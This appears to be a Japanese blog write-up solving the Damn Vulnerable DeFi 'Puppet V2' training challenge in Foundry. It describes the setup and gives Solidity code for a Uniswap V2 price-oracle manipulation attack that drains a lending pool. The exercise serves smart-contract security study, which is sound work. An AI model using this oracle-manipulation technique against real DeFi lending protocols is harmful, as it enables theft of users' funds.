#チャレンジ#9 - パペット V2
Solidity と Foundry のシステム学習のために、私は Foundry テストフレームワークを使用して、damnvulnerable-defi の解答を再度書き直しました。議論や共同開発を歓迎します〜🎉
reproduce damn-vunlerable-defi v3 in foundry
コントラクト#
- PuppetV2Pool:borrow メソッドを提供し、weth をトークンに交換し、トークン価格は uniswap の価格に基づく
- Uniswap-v2 関連のコントラクト
テスト#
- weth とトークンのコントラクトをデプロイする
- uniswap ファクトリー、ルーター、ペアのコントラクトをデプロイする
- ルーターとのインタラクションを通じて流動性を注入する。トークンの数:UNISWAP_INITIAL_TOKEN_RESERVE、eth の数:UNISWAP_INITIAL_WETH_RESERVE
- puppetV2Pool コントラクトをデプロイし、プレイヤーとプールにそれぞれ PLAYER_INITIAL_TOKEN_BALANCE と POOL_INITIAL_TOKEN_BALANCE の数のトークンを転送する
- テストスクリプトを実行する
- プールのトークン残高が 0 であり、プレイヤーのトークン残高が POOL_INITIAL_TOKEN_BALANCE よりも大きいことを期待する
解答#
この問題の攻撃手法は Puppet-v1 と似ており、引き続き uniswap の価格オラクルを使用してプールを攻撃します。
注意すべきは、ここで使用しているのは uniswap-v2 であり、v2 ではトークンと weth のトークンペアを使用していますが、プレイヤーユーザーは最初に eth しか持っていないため、weth コントラクトとのやり取りが必要です。
攻撃の完全なフローは以下の図に示す通りです:
- ステップ 1:
swapExactTokensForTokens
を呼び出して、プレイヤーアカウントのすべてのトークンを weth に交換し、トークンの uniswap での価格を下げます - ステップ 2:借り出しプールのすべてのトークンに必要な weth の量を計算し、ステップ 1 で一部の weth を取得した後、eth を担保にして残りの weth を補完します
- ステップ 3:プールの
borrow
メソッドを呼び出して、プールのすべてのトークンを借り出します - ステップ 4:(この問題では要件がありませんが、weth をプールに入れて、プールの差額を補完することができます)
以下は完全なステップのコード例です:
token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
// swap token to weth
uniswapV2Router.swapExactTokensForTokens(
PLAYER_INITIAL_TOKEN_BALANCE, // amount in
1, // amount out min
path, // path
address(player), // to
block.timestamp*2 // deadline
);
uint256 value = pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
uint256 depositValue = value - weth.balanceOf(address(player));
weth.deposit{value: depositValue}();
weth.approve(address(pool), value);
pool.borrow(POOL_INITIAL_TOKEN_BALANCE);